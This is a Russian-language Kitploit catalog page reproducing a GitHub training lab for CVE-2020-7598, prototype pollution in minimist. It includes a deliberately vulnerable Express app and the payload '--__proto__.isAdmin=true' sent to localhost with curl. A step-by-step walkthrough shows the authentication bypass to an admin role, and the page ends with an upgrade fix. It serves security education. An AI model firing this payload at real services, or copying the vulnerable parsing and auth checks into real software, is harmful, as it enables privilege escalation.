Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-7598 — Учебная лаборатория, демонстрирующая CVE-2020-7598 — прототипное загрязнение в minimist с уязвимым приложением Node.js/Express, пейлоад эксплойта и пошаговое руководство по обходу аутентификации для исследований в области безопасности. | Kitploit
Инструменты/GitHubGitHub/renewablehacking/cve-2020-7598
Статический анализАнализ уязвимостейАнализ КодаЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Учебная лаборатория, демонстрирующая CVE-2020-7598 — прототипное загрязнение в minimist с уязвимым приложением Node.js/Express, пейлоад эксплойта и пошаговое руководство по обходу аутентификации для исследований в области безопасности.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2020-7598 - Прототипное загрязнение в minimist

Отказ от ответственности

Этот проект создан исключительно для:

  • обучения,
  • исследований в области безопасности,
  • и локальных лабораторных работ.

Не используйте против систем без разрешения.


О CVE

CVE-2020-7598 — это уязвимость Prototype Pollution в пакете npm:

  • minimist
  • уязвимые версии:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Эта уязвимость позволяет атакующему модифицировать:

root@kitploit:~
Object.prototype

через полезную нагрузку, например:

root@kitploit:~
--__proto__.isAdmin=true

В результате:

  • все объекты JavaScript могут унаследовать вредоносные свойства,
  • обход аутентификации,
  • повышение привилегий,
  • и даже цепочка к RCE при определенных условиях.

Как работает Prototype Pollution

В JavaScript:

root@kitploit:~
const user = {};

пустой объект по-прежнему наследует свойства от:

root@kitploit:~
Object.prototype

Если атакующему удается выполнить:

root@kitploit:~
Object.prototype.isAdmin = true;

то:

root@kitploit:~
({}).isAdmin

даст:

root@kitploit:~
true

для всех обычных объектов.


Лабораторная среда

Зависимости

  • Node.js
  • Express
  • [email protected]

Установка

1. Клонирование репозитория

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Установка зависимостей

root@kitploit:~
npm install

ИЛИ вручную:

root@kitploit:~
npm install express [email protected]

Исходный код

Создайте файл:

root@kitploit:~
app.js

Содержимое:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Симуляция базы данных пользователей
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Уязвимая конечная точка
*/
app.get("/parse", (req, res) => {

    /*
      Получить сырой запрос
    */
    const payload = req.query.payload;

    /*
      Преобразовать в массив аргументов CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Уязвимый парсинг
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Конечная точка входа
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Уязвимая логика аутентификации
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Запуск сервера

root@kitploit:~
node app.js

Вывод:

root@kitploit:~
Server running on port 3000

Обычное тестирование

Обычный вход

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Вывод:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Эксплуатация CVE-2020-7598

Полезная нагрузка Prototype Pollution

Откройте браузер:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

ИЛИ используйте curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Результат эксплуатации

Терминал сервера:

root@kitploit:~
GLOBAL isAdmin: true

Это означает:

root@kitploit:~
Object.prototype.isAdmin = true

успешно модифицировано.


Вход после эксплуатации

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Вывод:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

При этом:

  • база данных не изменилась,
  • исходный код не изменился,
  • у пользователя нет свойства isAdmin.

Почему удаётся стать ADMIN?

Следующий код:

root@kitploit:~
if(user.isAdmin)

проверяет не только собственное свойство объекта.

JavaScript будет искать:

  1. свойство объекта,
  2. затем цепочку прототипов.

Поскольку атакующему удалось модифицировать:

root@kitploit:~
Object.prototype.isAdmin = true

то все обычные объекты наследуют это свойство.


Доказательство Prototype Pollution

Лог сервера:

root@kitploit:~
Own property: false
user.isAdmin: true

Это означает:

  • isAdmin не является собственным свойством пользователя,
  • но унаследовано от глобального прототипа.

Исправление

Безопасная версия minimist:

root@kitploit:~
npm install minimist@latest

Исправленная версия блокирует:

  • __proto__
  • constructor
  • prototype

таким образом, prototype pollution больше не работает.


Ссылки

  • CVE: CVE-2020-7598
  • Пакет: minimist
  • CWE: CWE-1321 Prototype Pollution

Автор

Лаборатория и документация созданы в учебных целях для изучения безопасности приложений Node.js и исследований prototype pollution.

Скачать инструмент